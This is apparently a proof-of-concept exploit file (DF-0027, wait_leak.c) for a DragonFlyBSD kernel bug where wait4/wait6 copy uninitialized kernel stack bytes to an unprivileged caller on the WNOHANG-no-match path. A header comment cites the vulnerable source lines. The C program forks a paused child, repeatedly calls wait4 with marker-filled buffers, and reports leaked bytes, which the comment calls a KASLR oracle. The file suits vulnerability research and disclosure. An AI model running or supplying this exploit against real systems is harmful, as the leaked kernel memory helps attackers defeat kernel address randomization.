DF-0027 / wait_leak.c
/* * DF-0027 PoC - wait4/wait6 leak uninitialized kernel stack via status, * rusage/wrusage and siginfo on the WNOHANG-no-match return. * * sys_wait4 (sys/kern/kern_exit.c:913-948) declares uninitialized stack locals * `int status;` (918) and `struct __wrusage wrusage;` (916), calls * kern_wait(&status,...,&wrusage,...), then copyouts them whenever error==0 * (942/945). sys_wait6 does the same and also copies out a siginfo_t. * * kern_wait returns error==0 on the WNOHANG-no-match path (1427-1431: * *res=0; error=0; goto done) WITHOUT writing *status/*wrusage/*info, and on * the WCONTINUED path leaves *wrusage untouched. So an unprivileged caller * with a running child can sample 4B (status) + ~72B (wait4 rusage) or up to * ~144B (wait6 wrusage) + ~128B (siginfo) of uninitialized kernel stack per * call -- a deterministic KASLR/stack-residue oracle. * * Build (DragonFlyBSD): cc -o wait_leak wait_leak.c * Run as an UNPRIVILEGED user. */ #include <sys/wait.h> #include <sys/resource.h> #include <signal.h> #include <stdio.h> #include <string.h> #include <unistd.h> int main(void) { pid_t c = fork(); if (c == 0) { pause(); _exit(0); } /* keep a non-waitable child alive */ unsigned long leaks = 0; for (int i = 0; i < 50; i++) { int status = 0xCAFEBABE; /* user marker */ struct rusage ru; memset(&ru, 0xAA, sizeof(ru)); /* user marker */ pid_t r = wait4(c, &status, WNOHANG, &ru); /* returns 0, no reap */ if (r != 0) continue; /* (0 == "no child ready" -> leak) */ /* The kernel wrote 4B of stack into `status` and ~72B into `ru` * without initializing them first. */ int s_leak = (status != 0xCAFEBABE && status != 0); int r_leak = 0; const unsigned char *p = (const unsigned char *)&ru; for (size_t k = 0; k < sizeof(ru); k++) if (p[k] != 0xAA && p[k] != 0x00) { r_leak = 1; break; } printf("iter %2d: status=0x%08x%s rusage-nonzero-byte%s\n", i, (unsigned)status, s_leak ? " (LEAKED)" : "", r_leak ? " (LEAKED)" : ""); if (s_leak || r_leak) leaks++; } kill(c, SIGKILL); waitpid(c, NULL, 0); printf("\nresult: %lu/50 iterations leaked kernel-stack bytes\n", leaks); printf("result: %s\n", leaks ? "LEAK CONFIRMED" : "no residue this run"); return leaks ? 0 : 2; } |